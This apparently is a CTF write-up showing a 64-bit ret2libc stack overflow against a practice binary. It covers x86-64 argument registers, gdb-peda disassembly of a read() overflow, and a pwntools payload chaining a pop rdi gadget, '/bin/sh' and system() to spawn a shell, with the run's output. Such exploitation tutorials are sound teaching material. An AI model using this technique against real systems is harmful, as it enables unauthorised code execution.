For the past so many CTF’s i have been seeing so many binary’s of 64bit so i thought of learning some concepts that has main difference between 64bit and 32bit.
So the main difference is the way you pass arguments. In 32bit you pass the arguments using stack and in 64 bit you use registers.
So the first argument is stored in “rdi“, second in “rsi“, third in “rdx” and forth in “rcx“.
so using that concept we will solve ret2libc. You can download file
gdb-peda$ pdisass main Dump of assembler code for function main: 0x0000000000400606 <+0>: push rbp 0x0000000000400607 <+1>: mov rbp,rsp 0x000000000040060a <+4>: sub rsp,0x10 0x000000000040060e <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000400611 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x0000000000400615 <+15>: mov edi,0x4006f3 0x000000000040061a <+20>: mov eax,0x0 0x000000000040061f <+25>: call 0x400490 <printf@plt> 0x0000000000400624 <+30>: mov eax,0x0 0x0000000000400629 <+35>: call 0x4005bc 0x000000000040062e <+40>: mov eax,0x0 0x0000000000400633 <+45>: leave 0x0000000000400634 <+46>: ret End of assembler dump. gdb-peda$ pdisass vuln Dump of assembler code for function vuln: 0x00000000004005bc <+0>: push rbp 0x00000000004005bd <+1>: mov rbp,rsp 0x00000000004005c0 <+4>: sub rsp,0x60 0x00000000004005c4 <+8>: lea rax,[rbp-0x60] 0x00000000004005c8 <+12>: mov edx,0x190 0x00000000004005cd <+17>: mov rsi,rax 0x00000000004005d0 <+20>: mov edi,0x0 0x00000000004005d5 <+25>: call 0x4004a0 <read@plt> 0x00000000004005da <+30>: mov DWORD PTR [rbp-0x4],eax 0x00000000004005dd <+33>: lea rdx,[rbp-0x60] 0x00000000004005e1 <+37>: mov eax,DWORD PTR [rbp-0x4] 0x00000000004005e4 <+40>: mov esi,eax 0x00000000004005e6 <+42>: mov edi,0x4006c4 0x00000000004005eb <+47>: mov eax,0x0 0x00000000004005f0 <+52>: call 0x400490 <printf@plt> 0x00000000004005f5 <+57>: mov edi,0x4006df 0x00000000004005fa <+62>: call 0x400480 <puts@plt> 0x00000000004005ff <+67>: mov eax,0x0 0x0000000000400604 <+72>: leave 0x0000000000400605 <+73>: ret End of assembler dump.
so after observing the disassembling and after some work, read() inputs more then the buffer size. So taking advantage of this vulnerability we can overwrite the instruction pointer with some other arbitrary address.
So let’s our aim be breaking a shell, for that i am using “System” function and supply “/bin/sh” as argument. As it is 64 bit our first argument must be in “rdi” register.
The below exploit will give out you a payload to capture a shell.
from pwn import * payload = '' payload += "A"*104 #Buffer input payload += p64(0x004006a3) #instuction pop rdi;ret; payload += p64(0x4006ff) #address of '/bin/sh' payload += p64(0x7ffff7a5b640) #address of system print payload
➜ ret2libc64bit (cat inp /dev/stdin) | ./classic Try to exec /bin/sh Read 129 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� No shell for you :( id uid=1000(nuc13us) gid=1000(nuc13us) groups=1000(nuc13us),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),110(sambashare)
Here is the shell 😛